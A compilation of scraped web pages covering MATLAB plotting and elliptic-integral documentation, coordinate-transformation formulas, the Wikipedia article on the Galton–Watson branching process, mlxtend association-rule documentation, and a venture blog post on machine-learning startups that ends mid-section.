To add plots to an existing figure, use hold on. Until you use hold off or close the window, all plots appear in the current figure window.
plot(x,y2,":")
legend("sin","cos")
Three-dimensional plots typically display a surface defined by a function in two variables,
z=f\left(x,y\right)
. For instance, calculate
z=x{e}^{-{x}^{2}-{y}^{2}}
given row and column vectors x and y with 20 points each in the range [-2,2].
Then, create a surface plot.
Both the surf function and its companion mesh display surfaces in three dimensions. surf displays both the connecting lines and the faces of the surface in color. mesh produces wireframe surfaces that color only the connecting lines.
You can display multiple plots in different parts of the same window using either tiledlayout or subplot.
The tiledlayout function was introduced in R2019b and provides more control over labels and spacing than subplot. For example, create a 2-by-2 layout within a figure window. Then, call nexttile each time you want a plot to appear in the next region.
title(t,"Trigonometric Functions")
title("Sine")
title("Cosine")
title("Tangent")
title("Secant")
If you are using a release earlier than R2019b, see subplot.
|
Complete elliptic integrals of first and second kind - MATLAB ellipke - MathWorks India
Find Complete Elliptic Integrals of First and Second Kind
Plot Complete Elliptic Integrals of First and Second Kind
Faster Calculations of the Complete Elliptic Integrals by Changing the Tolerance
Complete Elliptic Integrals of the First and Second Kind
Complete elliptic integrals of first and second kind
K = ellipke(M)
[K,E] = ellipke(M)
[K,E] = ellipke(M,tol)
K = ellipke(M) returns the complete elliptic integral of the first kind for each element in M.
[K,E] = ellipke(M) returns the complete elliptic integral of the first and second kind.
[K,E] = ellipke(M,tol) computes the complete elliptic integral to accuracy tol. The default value of tol is eps. Increase tol for a less accurate but more quickly computed answer.
Find the complete elliptic integrals of the first and second kind for M = 0.5.
Plot the complete elliptic integrals of the first and second kind for the allowed range of M.
M = 0:0.01:1;
[K,E] = ellipke(M);
plot(M,K,M,E)
title('Complete Elliptic Integrals of First and Second Kind')
legend('First kind','Second kind')
The default value of tol is eps. Find the runtime with the default value for arbitrary M using tic and toc. Increase tol by a factor of thousand and find the runtime. Compare the runtimes.
ellipke(0.904561)
ellipke(0.904561,eps*1000)
ellipke runs significantly faster when tolerance is significantly increased.
Input array, specified as a scalar, vector, matrix, or multidimensional array. M is limited to values 0≤m≤1.
tol — Accuracy of result
eps (default) | nonnegative real number
Accuracy of result, specified as a nonnegative real number. The default value is eps.
K — Complete elliptic integral of first kind
Complete elliptic integral of the first kind, returned as a scalar, vector, matrix, or multidimensional array.
E — Complete elliptic integral of second kind
Complete elliptic integral of the second kind, returned as a scalar, vector, matrix, or multidimensional array.
The complete elliptic integral of the first kind is
\left[K\left(m\right)\right]={\int }_{0}^{1}{\left[\left(1-{t}^{2}\right)\left(1-m{t}^{2}\right)\right]}^{-\frac{1}{2}}dt.
where m is the first argument of ellipke.
The complete elliptic integral of the second kind is
E\left(m\right)={\int }_{0}^{1}\left(1-{t}^{2}{\right)}^{-\frac{1}{2}}{\left(1-m{t}^{2}\right)}^{\frac{1}{2}}dt.
Some definitions of the elliptic functions use the elliptical modulus k or modular angle α instead of the parameter m. They are related by
{k}^{2}=m={\mathrm{sin}}^{2}\alpha .
[1] Abramowitz, M., and I. A. Stegun. Handbook of Mathematical Functions. Dover Publications, 1965.
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\mathrm{bipolar}
\mathrm{cardioid}
\mathrm{cassinian}
\mathrm{elliptic}
\mathrm{hyperbolic}
\mathrm{invcassinian}
\mathrm{invelliptic}
\mathrm{logarithmic}
\mathrm{logcosh}
\mathrm{maxwell}
\mathrm{parabolic}
\mathrm{rose}
\mathrm{tangent}
\left(u,v\right)\to \left(x,y\right)
bipolar (Spiegel)
x=\frac{\mathrm{sinh}\left(v\right)}{\mathrm{cosh}\left(v\right)-\mathrm{cos}\left(u\right)}
y=\frac{\mathrm{sin}\left(u\right)}{\mathrm{cosh}\left(v\right)-\mathrm{cos}\left(u\right)}
x=\frac{{u}^{2}-{v}^{2}}{2{\left({u}^{2}+{v}^{2}\right)}^{2}}
y=\frac{uv}{{\left({u}^{2}+{v}^{2}\right)}^{2}}
x=u
y=v
cassinian (Cassinian-oval)
x=\frac{a\sqrt{2}\sqrt{\sqrt{{ⅇ}^{2u}+2{ⅇ}^{u}\mathrm{cos}\left(v\right)+1}+{ⅇ}^{u}\mathrm{cos}\left(v\right)+1}}{2}
y=\frac{a\sqrt{2}\sqrt{\sqrt{{ⅇ}^{2u}+2{ⅇ}^{u}\mathrm{cos}\left(v\right)+1}-{ⅇ}^{u}\mathrm{cos}\left(v\right)-1}}{2}
x=\mathrm{cosh}\left(u\right)\mathrm{cos}\left(v\right)
y=\mathrm{sinh}\left(u\right)\mathrm{sin}\left(v\right)
x=\sqrt{\sqrt{{u}^{2}+{v}^{2}}+u}
y=\sqrt{\sqrt{{u}^{2}+{v}^{2}}-u}
invcassinian (inverse Cassinian-oval)
x=\frac{a\sqrt{2}\sqrt{\sqrt{{ⅇ}^{2u}+2{ⅇ}^{u}\mathrm{cos}\left(v\right)+1}+{ⅇ}^{u}\mathrm{cos}\left(v\right)+1}}{2\sqrt{{ⅇ}^{2u}+2{ⅇ}^{u}\mathrm{cos}\left(v\right)+1}}
y=\frac{a\sqrt{2}\sqrt{\sqrt{{ⅇ}^{2u}+2{ⅇ}^{u}\mathrm{cos}\left(v\right)+1}-{ⅇ}^{u}\mathrm{cos}\left(v\right)-1}}{2\sqrt{{ⅇ}^{2u}+2{ⅇ}^{u}\mathrm{cos}\left(v\right)+1}}
invelliptic (inverse elliptic)
x=\frac{a\mathrm{cosh}\left(u\right)\mathrm{cos}\left(v\right)}{{\mathrm{cosh}\left(u\right)}^{2}-{\mathrm{sin}\left(v\right)}^{2}}
y=\frac{a\mathrm{sinh}\left(u\right)\mathrm{sin}\left(v\right)}{{\mathrm{cosh}\left(u\right)}^{2}-{\mathrm{sin}\left(v\right)}^{2}}
x=\frac{a\mathrm{ln}\left({u}^{2}+{v}^{2}\right)}{\mathrm{\pi }}
y=\frac{2a\mathrm{arctan}\left(\frac{v}{u}\right)}{\mathrm{\pi }}
logcosh (ln cosh)
x=\frac{a\mathrm{ln}\left({\mathrm{cosh}\left(u\right)}^{2}-{\mathrm{sin}\left(v\right)}^{2}\right)}{\mathrm{\pi }}
y=\frac{2a\mathrm{arctan}\left(\mathrm{tanh}\left(u\right)\mathrm{tan}\left(v\right)\right)}{\mathrm{\pi }}
x=\frac{a\left(u+1+{ⅇ}^{u}\mathrm{cos}\left(v\right)\right)}{\mathrm{\pi }}
y=\frac{a\left(v+{ⅇ}^{u}\mathrm{sin}\left(v\right)\right)}{\mathrm{\pi }}
x=\frac{{u}^{2}}{2}-\frac{{v}^{2}}{2}
y=uv
x=u\mathrm{cos}\left(v\right)
y=u\mathrm{sin}\left(v\right)
x=\frac{\sqrt{\sqrt{{u}^{2}+{v}^{2}}+u}}{\sqrt{{u}^{2}+{v}^{2}}}
y=\frac{\sqrt{\sqrt{{u}^{2}+{v}^{2}}-u}}{\sqrt{{u}^{2}+{v}^{2}}}
x=\frac{u}{{u}^{2}+{v}^{2}}
y=\frac{v}{{u}^{2}+{v}^{2}}
Explore by choosing from the different functions and coordinate systems. Adjust the sliders to change parameters such as the domain and the linear factor of the selected function.
sin(x)cos(x)csc(x)sec(x)tan(x)x^2 - 4ln(x)exp(x)
bipolarcartesiancardioidcassinianelliptichyperbolicinvcassinianinvellipticlogarithmiclogcoshmaxwellparabolicpolarrosetangent
Lower limit of Domain,
\mathrm{x1}
Upper limit of Domain,
\mathrm{x2}
Linear Factor,
a
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Galton–Watson process - Wikipedia
Probability model, originally to model the extinction of family names
Galton–Watson survival probabilities for different exponential rates of population growth, if the number of children of each parent node can be assumed to follow a Poisson distribution. For λ ≤ 1, eventual extinction will occur with probability 1. But the probability of survival of a new type may be quite low even if λ > 1 and the population as a whole is experiencing quite strong exponential increase.
The Galton–Watson process is a branching stochastic process arising from Francis Galton's statistical investigation of the extinction of family names. The process models family names as patrilineal (passed from father to son), while offspring are randomly either male or female, and names become extinct if the family name line dies out (holders of the family name die without male descendants). This is an accurate description of Y chromosome transmission in genetics, and the model is thus useful for understanding human Y-chromosome DNA haplogroups. Likewise, since mitochondria are inherited only on the maternal line, the same mathematical formulation describes transmission of mitochondria. The formula is of limited usefulness in understanding actual family name distributions, since in practice family names change for many other reasons, and dying out of name line is only one factor.
4 Extinction criterion for Galton–Watson process
5 Bisexual Galton–Watson process
5.1 Extinction criterion
There was concern amongst the Victorians that aristocratic surnames[example needed] were becoming extinct. Galton originally posed a mathematical question regarding the distribution of surnames in an idealized population in an 1873 issue of The Educational Times,[1] and the Reverend Henry William Watson replied with a solution.[2] Together, they then wrote an 1874 paper titled "On the probability of the extinction of families" in the Journal of the Anthropological Institute of Great Britain and Ireland (now the Journal of the Royal Anthropological Institute).[3] Galton and Watson appear to have derived their process independently of the earlier work by I. J. Bienaymé; see Heyde and Seneta 1977. For a detailed history see Kendall (1966 and 1975).
Assume, for the sake of the model, that surnames are passed on to all male children by their father. Suppose the number of a man's sons to be a random variable distributed on the set { 0, 1, 2, 3, ... }. Further suppose the numbers of different men's sons to be independent random variables, all having the same distribution.
Then the simplest substantial mathematical conclusion is that if the average number of a man's sons is 1 or less, then their surname will almost surely die out, and if it is more than 1, then there is more than zero probability that it will survive for any given number of generations.
Modern applications include the survival probabilities for a new mutant gene, or the initiation of a nuclear chain reaction, or the dynamics of disease outbreaks in their first generations of spread, or the chances of extinction of small population of organisms; as well as explaining (perhaps closest to Galton's original interest) why only a handful of males in the deep past of humanity now have any surviving male-line descendants, reflected in a rather small number of distinctive human Y-chromosome DNA haplogroups.
A corollary of high extinction probabilities is that if a lineage has survived, it is likely to have experienced, purely by chance, an unusually high growth rate in its early generations at least when compared to the rest of the population.
A Galton–Watson process is a stochastic process {Xn} which evolves according to the recurrence formula X0 = 1 and
{\displaystyle X_{n+1}=\sum _{j=1}^{X_{n}}\xi _{j}^{(n)}}
{\displaystyle \{\xi _{j}^{(n)}:n,j\in \mathbb {N} \}}
is a set of independent and identically-distributed natural number-valued random variables.
In the analogy with family names, Xn can be thought of as the number of descendants (along the male line) in the nth generation, and
{\displaystyle \xi _{j}^{(n)}}
can be thought of as the number of (male) children of the jth of these descendants. The recurrence relation states that the number of descendants in the n+1st generation is the sum, over all nth generation descendants, of the number of children of that descendant.
The extinction probability (i.e. the probability of final extinction) is given by
{\displaystyle \lim _{n\to \infty }\Pr(X_{n}=0).\,}
This is clearly equal to zero if each member of the population has exactly one descendant. Excluding this case (usually called the trivial case) there exists a simple necessary and sufficient condition, which is given in the next section.
Extinction criterion for Galton–Watson process[edit]
In the non-trivial case, the probability of final extinction is equal to 1 if E{ξ1} ≤ 1 and strictly less than 1 if E{ξ1} > 1.
The process can be treated analytically using the method of probability generating functions.
If the number of children ξ j at each node follows a Poisson distribution with parameter λ, a particularly simple recurrence can be found for the total extinction probability xn for a process starting with a single individual at time n = 0:
{\displaystyle x_{n+1}=e^{\lambda (x_{n}-1)},\,}
giving the above curves.
Bisexual Galton–Watson process[edit]
In the classical family surname Galton–Watson process described above, only men need to be considered, since only males transmit their family name to descendants. This effectively means that reproduction can be modeled as asexual. (Likewise, if mitochondrial transmission is analyzed, only women need to be considered, since only females transmit their mitochondria to descendants.)
A model more closely following actual sexual reproduction is the so-called "bisexual Galton–Watson process", where only couples reproduce.[citation needed] (Bisexual in this context refers to the number of sexes involved, not sexual orientation.) In this process, each child is supposed as male or female, independently of each other, with a specified probability, and a so-called "mating function" determines how many couples will form in a given generation. As before, reproduction of different couples are considered to be independent of each other. Now the analogue of the trivial case corresponds to the case of each male and female reproducing in exactly one couple, having one male and one female descendant, and that the mating function takes the value of the minimum of the number of males and females (which are then the same from the next generation onwards).
Since the total reproduction within a generation depends now strongly on the mating function, there exists in general no simple necessary and sufficient condition for final extinction as is the case in the classical Galton–Watson process.[citation needed] However, excluding the non-trivial case, the concept of the averaged reproduction mean (Bruss (1984)) allows for a general sufficient condition for final extinction, treated in the next section.
Extinction criterion[edit]
If in the non-trivial case the averaged reproduction mean per couple stays bounded over all generations and will not exceed 1 for a sufficiently large population size, then the probability of final extinction is always 1.
Citing historical examples of Galton–Watson process is complicated due to the history of family names often deviating significantly from the theoretical model. Notably, new names can be created, existing names can be changed over a person's lifetime, and people historically have often assumed names of unrelated persons, particularly nobility. Thus, a small number of family names at present is not in itself evidence for names having become extinct over time, or that they did so due to dying out of family name lines – that requires that there were more names in the past and that they die out due to the line dying out, rather than the name changing for other reasons, such as vassals assuming the name of their lord.
Chinese names are a well-studied example of surname extinction: there are currently only about 3,100 surnames in use in China, compared with close to 12,000 recorded in the past,[4][5] with 22% of the population sharing the names Li, Wang and Zhang (numbering close to 300 million people), and the top 200 names covering 96% of the population. Names have changed or become extinct for various reasons such as people taking the names of their rulers, orthographic simplifications, taboos against using characters from an emperor's name, among others.[5] While family name lines dying out may be a factor in the surname extinction, it is by no means the only or even a significant factor. Indeed, the most significant factor affecting the surname frequency is other ethnic groups identifying as Han and adopting Han names.[5] Further, while new names have arisen for various reasons, this has been outweighed by old names disappearing.[5]
By contrast, some nations have adopted family names only recently. This means both that they have not experienced surname extinction for an extended period, and that the names were adopted when the nation had a relatively large population, rather than the smaller populations of ancient times.[5] Further, these names have often been chosen creatively and are very diverse. Examples include:
Japanese names, which in general use date only to the Meiji restoration in the late 19th century (when the population was over 30,000,000), have over 100,000 family names, surnames are very varied, and the government restricts married couples to using the same surname.
Many Dutch names have included a formal family name only since the Napoleonic Wars in the early 19th century. Earlier, surnames originated from patronyms[6] (e.g., Jansen = John's son), personal qualities (e.g., de Rijke = the rich one), geographical locations (e.g., van Rotterdam), and occupations (e.g., Visser = the fisherman), sometimes even combined (e.g., Jan Jansz van Rotterdam). There are over 68,000 Dutch family names.
Thai names have included a family name only since 1920, and only a single family can use a given family name; hence there are a great number of Thai names. Furthermore, Thai people change their family names with some frequency, complicating the analysis.
On the other hand, some examples of high concentration of family names is not primarily due to the Galton–Watson process:
Vietnamese names have about 100 family names, and 60% of the population sharing three family names. The name Nguyễn alone is estimated to be used by almost 40% of the Vietnamese population, and 90% share 15 names. However, as the history of the Nguyễn name makes clear, this is in no small part due to names being forced on people or adopted for reasons unrelated to genetic relation.
Resource-dependent branching process
^ Francis Galton (1873-03-01). "Problem 4001" (PDF). Educational Times. 25 (143): 300. Archived from the original (PDF) on 2017-01-23.
^ Henry William Watson (1873-08-01). "Problem 4001" (PDF). Educational Times. 26 (148): 115. Archived from the original (PDF) on 2016-12-01.
A first offering submitted by G.S. Carr, according to Galton, was "totally erroneous"; see G. S. Carr (1873-04-01). "Problem 4001" (PDF). Educational Times. 26 (144): 17. Archived from the original (PDF) on 2017-08-03.
^ Galton, F., & Watson, H. W. (1875). "On the probability of the extinction of families". Journal of the Royal Anthropological Institute, 4, 138–144.
^ "O rare John Smith", The Economist (US ed.), p. 32, June 3, 1995, Only 3,100 surnames are now in use in China [...] compared with nearly 12,000 in the past. An 'evolutionary dwindling' of surnames is common to all societies. [...] [B]ut in China, [Du] says, where surnames have been in use far longer than in most other places, the paucity has become acute.
^ a b c d e Du, Ruofu; Yida, Yuan; Hwang, Juliana; Mountain, Joanna L.; Cavalli-Sforza, L. Luca (1992), Chinese Surnames and the Genetic Differences between North and South China (PDF), Journal of Chinese Linguistics Monograph Series, pp. 18–22 (History of Chinese surnames and sources of data for the present research), archived from the original (PDF) on 2012-11-20, also part of Morrison Institute for Population and Resource Studies Working papers {{citation}}: External link in |postscript= (help)CS1 maint: postscript (link)
^ "Patronym - Behind the Name".
F. Thomas Bruss (1984). "A Note on Extinction Criteria for Bisexual Galton–Watson Processes". Journal of Applied Probability 21: 915–919.
C C Heyde and E Seneta (1977). I.J. Bienayme: Statistical Theory Anticipated. Berlin, Germany.
Kendall, D. G. (1966). "Branching Processes Since 1873". Journal of the London Mathematical Society. s1-41: 385–406. doi:10.1112/jlms/s1-41.1.385. ISSN 0024-6107.
Kendall, D. G. (1975). "The Genealogy of Genealogy Branching Processes before (and after) 1873". Bulletin of the London Mathematical Society. 7 (3): 225–253. doi:10.1112/blms/7.3.225. ISSN 0024-6093.
"Survival of a Single Mutant" by Peter M. Lee of the University of York
The simple Galton-Watson process: Classical approach, University of Muenster
Retrieved from "https://en.wikipedia.org/w/index.php?title=Galton–Watson_process&oldid=1057317120"
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Association rules - mlxtend
association_rules: Association rules generation from frequent itemsets
Example 1 -- Generating Association Rules from Frequent Itemsets
Example 2 -- Rule Generation and Selection Criteria
Example 3 -- Frequent Itemsets with Incomplete Antecedent and Consequent Information
Example 4 -- Pruning Association Rules
Function to generate association rules from frequent itemsets
Rule generation is a common task in the mining of frequent patterns. An association rule is an implication expression of the form
X \rightarrow Y
X
Y
are disjoint itemsets [1]. A more concrete example based on consumer behaviour would be
\{Diapers\} \rightarrow \{Beer\}
suggesting that people who buy diapers are also likely to buy beer. To evaluate the "interest" of such an association rule, different metrics have been developed. The current implementation make use of the confidence and lift metrics.
The currently supported metrics for evaluating association rules and setting selection thresholds are listed below. Given a rule "A -> C", A stands for antecedent and C stands for consequent.
The support metric is defined for itemsets, not assocication rules. The table produced by the association rule mining algorithm contains three different support metrics: 'antecedent support', 'consequent support', and 'support'. Here, 'antecedent support' computes the proportion of transactions that contain the antecedent A, and 'consequent support' computes the support for the itemset of the consequent C. The 'support' metric then computes the support of the combined itemset A
\cup
C -- note that 'support' depends on 'antecedent support' and 'consequent support' via min('antecedent support', 'consequent support').
Typically, support is used to measure the abundance or frequency (often interpreted as significance or importance) of an itemset in a database. We refer to an itemset as a "frequent itemset" if you support is larger than a specified minimum-support threshold. Note that in general, due to the downward closure property, all subsets of a frequent itemset are also frequent.
'confidence':
The confidence of a rule A->C is the probability of seeing the consequent in a transaction given that it also contains the antecedent. Note that the metric is not symmetric or directed; for instance, the confidence for A->C is different than the confidence for C->A. The confidence is 1 (maximal) for a rule A->C if the consequent and antecedent always occur together.
'lift':
The lift metric is commonly used to measure how much more often the antecedent and consequent of a rule A->C occur together than we would expect if they were statistically independent. If A and C are independent, the Lift score will be exactly 1.
'leverage':
Leverage computes the difference between the observed frequency of A and C appearing together and the frequency that would be expected if A and C were independent. A leverage value of 0 indicates independence.
'conviction':
A high conviction value means that the consequent is highly depending on the antecedent. For instance, in the case of a perfect confidence score, the denominator becomes 0 (due to 1 - 1) for which the conviction score is defined as 'inf'. Similar to lift, if items are independent, the conviction is 1.
[1] Tan, Steinbach, Kumar. Introduction to Data Mining. Pearson New International Edition. Harlow: Pearson Education Ltd., 2014. (pp. 327-414).
[2] Michael Hahsler, http://michael.hahsler.net/research/association_rules/measures.html
[3] R. Agrawal, T. Imielinski, and A. Swami. Mining associations between sets of items in large databases. In Proc. of the ACM SIGMOD Int'l Conference on Management of Data, pages 207-216, Washington D.C., May 1993
[4] S. Brin, R. Motwani, J. D. Ullman, and S. Tsur. Dynamic itemset counting and implication rules for market basket data
[5] Piatetsky-Shapiro, G., Discovery, analysis, and presentation of strong rules. Knowledge Discovery in Databases, 1991: p. 229-248.
[6] Sergey Brin, Rajeev Motwani, Jeffrey D. Ullman, and Shalom Turk. Dynamic itemset counting and implication rules for market basket data. In SIGMOD 1997, Proceedings ACM SIGMOD International Conference on Management of Data, pages 255-264, Tucson, Arizona, USA, May 1997
The generate_rules takes dataframes of frequent itemsets as produced by the apriori, fpgrowth, or fpmax functions in mlxtend.association. To demonstrate the usage of the generate_rules method, we first create a pandas DataFrame of frequent itemsets as generated by the fpgrowth function:
### alternatively:
#frequent_itemsets = apriori(df, min_support=0.6, use_colnames=True)
#frequent_itemsets = fpmax(df, min_support=0.6, use_colnames=True)
0.8 (Kidney Beans, Eggs)
0.6 (Onion, Eggs)
0.6 (Onion, Kidney Beans, Eggs)
The generate_rules() function allows you to (1) specify your metric of interest and (2) the according threshold. Currently implemented measures are confidence and lift. Let's say you are interested in rules derived from the frequent itemsets only if the level of confidence is above the 70 percent threshold (min_threshold=0.7):
association_rules(frequent_itemsets, metric="confidence", min_threshold=0.7)
(Kidney Beans) (Eggs) 1.0 0.8 0.8 0.80 1.00 0.00 1.0
(Eggs) (Kidney Beans) 0.8 1.0 0.8 1.00 1.00 0.00 inf
(Yogurt) (Kidney Beans) 0.6 1.0 0.6 1.00 1.00 0.00 inf
(Onion) (Eggs) 0.6 0.8 0.6 1.00 1.25 0.12 inf
(Eggs) (Onion) 0.8 0.6 0.6 0.75 1.25 0.12 1.6
(Onion) (Kidney Beans) 0.6 1.0 0.6 1.00 1.00 0.00 inf
(Onion, Kidney Beans) (Eggs) 0.6 0.8 0.6 1.00 1.25 0.12 inf
(Onion, Eggs) (Kidney Beans) 0.6 1.0 0.6 1.00 1.00 0.00 inf
(Kidney Beans, Eggs) (Onion) 0.8 0.6 0.6 0.75 1.25 0.12 1.6
(Onion) (Kidney Beans, Eggs) 0.6 0.8 0.6 1.00 1.25 0.12 inf
(Eggs) (Onion, Kidney Beans) 0.8 0.6 0.6 0.75 1.25 0.12 1.6
(Milk) (Kidney Beans) 0.6 1.0 0.6 1.00 1.00 0.00 inf
If you are interested in rules according to a different metric of interest, you can simply adjust the metric and min_threshold arguments . E.g. if you are only interested in rules that have a lift score of >= 1.2, you would do the following:
rules = association_rules(frequent_itemsets, metric="lift", min_threshold=1.2)
Pandas DataFrames make it easy to filter the results further. Let's say we are ony interested in rules that satisfy the following criteria:
at least 2 antecedents
a confidence > 0.75
a lift score > 1.2
We could compute the antecedent length as follows:
rules["antecedent_len"] = rules["antecedents"].apply(lambda x: len(x))
(Onion) (Eggs) 0.6 0.8 0.6 1.00 1.25 0.12 inf 1
(Eggs) (Onion) 0.8 0.6 0.6 0.75 1.25 0.12 1.6 1
(Onion, Kidney Beans) (Eggs) 0.6 0.8 0.6 1.00 1.25 0.12 inf 2
(Kidney Beans, Eggs) (Onion) 0.8 0.6 0.6 0.75 1.25 0.12 1.6 2
(Onion) (Kidney Beans, Eggs) 0.6 0.8 0.6 1.00 1.25 0.12 inf 1
(Eggs) (Onion, Kidney Beans) 0.8 0.6 0.6 0.75 1.25 0.12 1.6 1
Then, we can use pandas' selection syntax as shown below:
rules[ (rules['antecedent_len'] >= 2) &
(rules['confidence'] > 0.75) &
(rules['lift'] > 1.2) ]
(Onion, Kidney Beans) (Eggs) 0.6 0.8 0.6 1.0 1.25 0.12 inf 2
Similarly, using the Pandas API, we can select entries based on the "antecedents" or "consequents" columns:
rules[rules['antecedents'] == {'Eggs', 'Kidney Beans'}]
Note that the entries in the "itemsets" column are of type frozenset, which is built-in Python type that is similar to a Python set but immutable, which makes it more efficient for certain query or comparison operations (https://docs.python.org/3.6/library/stdtypes.html#frozenset). Since frozensets are sets, the item order does not matter. I.e., the query
is equivalent to any of the following three
rules[rules['antecedents'] == {'Kidney Beans', 'Eggs'}]
rules[rules['antecedents'] == frozenset(('Eggs', 'Kidney Beans'))]
rules[rules['antecedents'] == frozenset(('Kidney Beans', 'Eggs'))]
Most metrics computed by association_rules depends on the consequent and antecedent support score of a given rule provided in the frequent itemset input DataFrame. Consider the following example:
dict = {'itemsets': [['177', '176'], ['177', '179'],
['176', '178'], ['176', '179'],
['93', '100'], ['177', '178'],
['177', '176', '178']],
'support':[0.253623, 0.253623, 0.217391,
0.217391, 0.181159, 0.108696, 0.108696]}
freq_itemsets = pd.DataFrame(dict)
freq_itemsets
[177, 176] 0.253623
[93, 100] 0.181159
[177, 176, 178] 0.108696
Note that this is a "cropped" DataFrame that doesn't contain the support values of the item subsets. This can create problems if we want to compute the association rule metrics for, e.g., 176 => 177.
For example, the confidence is computed as
But we do not have
\text{support}(A)
. All we know about "A"'s support is that it is at least 0.253623.
In these scenarios, where not all metric's can be computed, due to incomplete input DataFrames, you can use the support_only=True option, which will only compute the support column of a given rule that does not require as much info:
"NaN's" will be assigned to all other metric columns:
res = association_rules(freq_itemsets, support_only=True, min_threshold=0.1)
(176) (177) NaN NaN 0.253623 NaN NaN NaN NaN
(100) (93) NaN NaN 0.181159 NaN NaN NaN NaN
(93) (100) NaN NaN 0.181159 NaN NaN NaN NaN
(178, 176) (177) NaN NaN 0.108696 NaN NaN NaN NaN
(178) (176, 177) NaN NaN 0.108696 NaN NaN NaN NaN
To clean up the representation, you may want to do the following:
res = res[['antecedents', 'consequents', 'support']]
(176) (177) 0.253623
(100) (93) 0.181159
(93) (100) 0.181159
(178, 176) (177) 0.108696
(178) (176, 177) 0.108696
There is no specific API for pruning. Instead, the pandas API can be used on the resulting data frame to remove individual rows. E.g., suppose we have the following rules:
and we want to remove the rule "(Onion, Kidney Beans) -> (Eggs)". In order to to this, we can define selection masks and remove this row as follows:
antecedent_sele = rules['antecedents'] == frozenset({'Onion', 'Kidney Beans'}) # or frozenset({'Kidney Beans', 'Onion'})
consequent_sele = rules['consequents'] == frozenset({'Eggs'})
final_sele = (antecedent_sele & consequent_sele)
rules.loc[ ~final_sele ]
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defensible ml | base case capital
Defensible Machine Learning
B2B machine learning (ML) companies are an enigma: they have the opportunity to revolutionize how we do business, but they look & feel quite different from their traditional SaaS counterparts and have proven difficult to scale. In this post, we aim to demystify the challenges of building an enduring ML company by providing a simple framework for the three ways to do so. For each, we outline common attributes of successful companies and walk through potential pitfalls. These learnings are based on our experience building Impira and evaluating companies at Base Case Capital.
For aspiring entrepreneurs thinking about problems in this area, we hope this gives you a starting point to understand the landscape, frame your idea, and avoid the challenges that may arise.
Three types of ML companies
Enterprises who seek to solve problems with machine learning have two options: (1) develop ML models in-house or (2) purchase software that has embedded ML. Startups can play a significant role in both scenarios. The first option involves providing in-house users, traditionally referred to as ML practitioners, with ML systems that enable them to work better, faster, and smarter to develop and operate models. The second option is usually packaged as a Powered-by-ML solution, which solves a specific business challenge with the help of machine learning.
There is an emerging third group, AutoML solutions, which allow non-ML practitioners to develop their own models. This is somewhat a hybrid of the first two, and correspondingly represents a massive opportunity, but with significant product and technical risks. In fact, many of the common pitfalls for both ML systems and Powered-by-ML solutions can be overcome with AutoML. We’ll discuss this in depth below.
ML systems make ML scientists and engineers more productive. Companies of this type provide tools that enable the development workflow, deployment, monitoring, and testing of ML. This market is obviously limited to organizations that have in-house ML practitioners; however, it is expanding rapidly. In fact, the number of AI specialist jobs has grown on average 74% each year for the past 4 years.
ML systems: key considerations
Target customer Organizations with in-house ML developers
Target buyer ML leadership
Target user ML practitioner (scientist or engineer)
Founding team Systems builders + empathy for ML practitioners’ workflow
Pitfalls Narrow market, easy to build niche product
Interesting cos Aquarium Learning, Scale AI, Weights & Biases, Databricks
ML systems: building for success
ML systems companies are typically founded by engineers who worked at technology companies developing high scale machine learning systems in-house. These founders often worked in the infrastructure group supporting internal machine learning efforts and now want to bring this technology to others. They should have deep empathy for ML practitioners in order to build a need-to-have product.
Aquarium Learning*, for example, is a machine learning data management system. The product makes it easy for machine learning practitioners to find labeling errors and model failures, then helps them curate the dataset to fix these problems and optimize model performance. The founders, Peter and Quinn, were early employees at Cruise, where they saw first-hand that the best way to improve model performance was to improve the data it was trained on. With this insight, they built Aquarium to provide this tooling to machine learnings teams across a variety of different industries.
ML systems: avoiding pitfalls
For talented engineers, building an ML system is a dream come true: you get to build tools for other engineers, in a space with tons of greenfield that is developing rapidly. The flip side is that the market is still very early. In 2019, a report from Tencent estimated there were 300k ML practitioners. In comparison, the number of software developers worldwide in 2019 was 19M, more than 60x greater.
While this market is growing rapidly, it’s important that companies in this space figure out a pricing structure that works. For example, Weights & Biases charges an impressive [
200/user/month for their Teams offering](https://wandb.ai/site/pricing). A
50/user/month product simply won’t cut it. Similarly, when companies choose a specific vertical (e.g. financial services) or functional area (e.g. computer vision), they are unlikely to target enough users to justify a user-based pricing model. Scale AI, which initially targeted the automotive industry, charges a massive fee for their service based on the amount of data they label rather than per-user. Other products, like Sagemaker, charge for resource consumption. Since machine learning is so data-intensive, both pricing models will result in a high price per customer and a correspondingly large TAM.
There are a couple other tricky market segmentation challenges. First, products that target production ML use cases (monitoring, deployment, and scale) have struggled to gain traction. The field is very early, and there are almost an order of magnitude more ML projects in development than in production. Second, there is a disconnect between big software spenders (traditional enterprises) and companies with ML in production (Uber, Facebook, etc.) who often prefer to build technology in-house. For this reason, a lot more users can be reached with products that enable ML development (Aquarium, Scale, W&B, Snorkel, etc.) than those that require a model to be deployed in production (e.g. feature store products). To broaden their value proposition beyond ML practitioners, some ML systems are adding AutoML capabilities. For example, Scale now offers full-service document processing and Databricks launched an AutoML platform.
Powered-by-ML
Powered-by-ML products are solution-oriented and target specific business problems or workflows that benefit from automation or insight. They often solve problems within specific industries or departments that are consistent from customer-to-customer. For most of these products, machine learning is an invisible “magic” that runs behind the scenes and boosts the value proposition.
Powered-by-ML: key considerations
Target customer Organizations with a specific problem that can be measured with data
Target buyer Executive
Target user Business user
Founding team Industry experts + ML practitioners
Pitfalls Certain problems require 100% accuracy or per-customer training
Interesting cos Vise, Abnormal Security, Sisu, Gong, Cresta
Powered-by-ML: building for success
Powered-by-ML products generally target a key problem that occurs consistently across companies in a specific industry or department. For example, Gong provides common coaching tips for salespeople by recording and analyzing videos of their conversations. Abnormal Security analyzes the content of emails in an enterprise to predict whether they are indicative of a cyber attack. When they work, the ROI of these products is astounding since by definition you can measure how they impact the key problem. Companies like Cresta leverage this to price in terms of ROI which leads to very high ACVs.
The winning combination for a Powered-by-ML company is a founding team that includes domain and ML expertise. Ideally, the domain expert is so familiar with the problem that there is a marvelous “ML model” that solves the key problem locked away somewhere inside their brain. For example, Amit from Gong worked previously as a go-to-market executive in technology companies and considers Gong the ultimate user of their own software. Of course, there are exceptions too: Evan and Sanjay of Abnormal Security reframed their expertise in ad tech personalization to the problem of email behavior in the enterprise.
Powered-by-ML: avoiding pitfalls
Powered-by-ML companies are highly controversial, and much has been written about how and why they are difficult to scale (some of our favorites include: The New Business of AI, Taming the Tail: Adventures in Improving AI Economics, Why AI/ML Fails). We agree with these ideas, but want to go one step further to explain how to avoid these pitfalls.
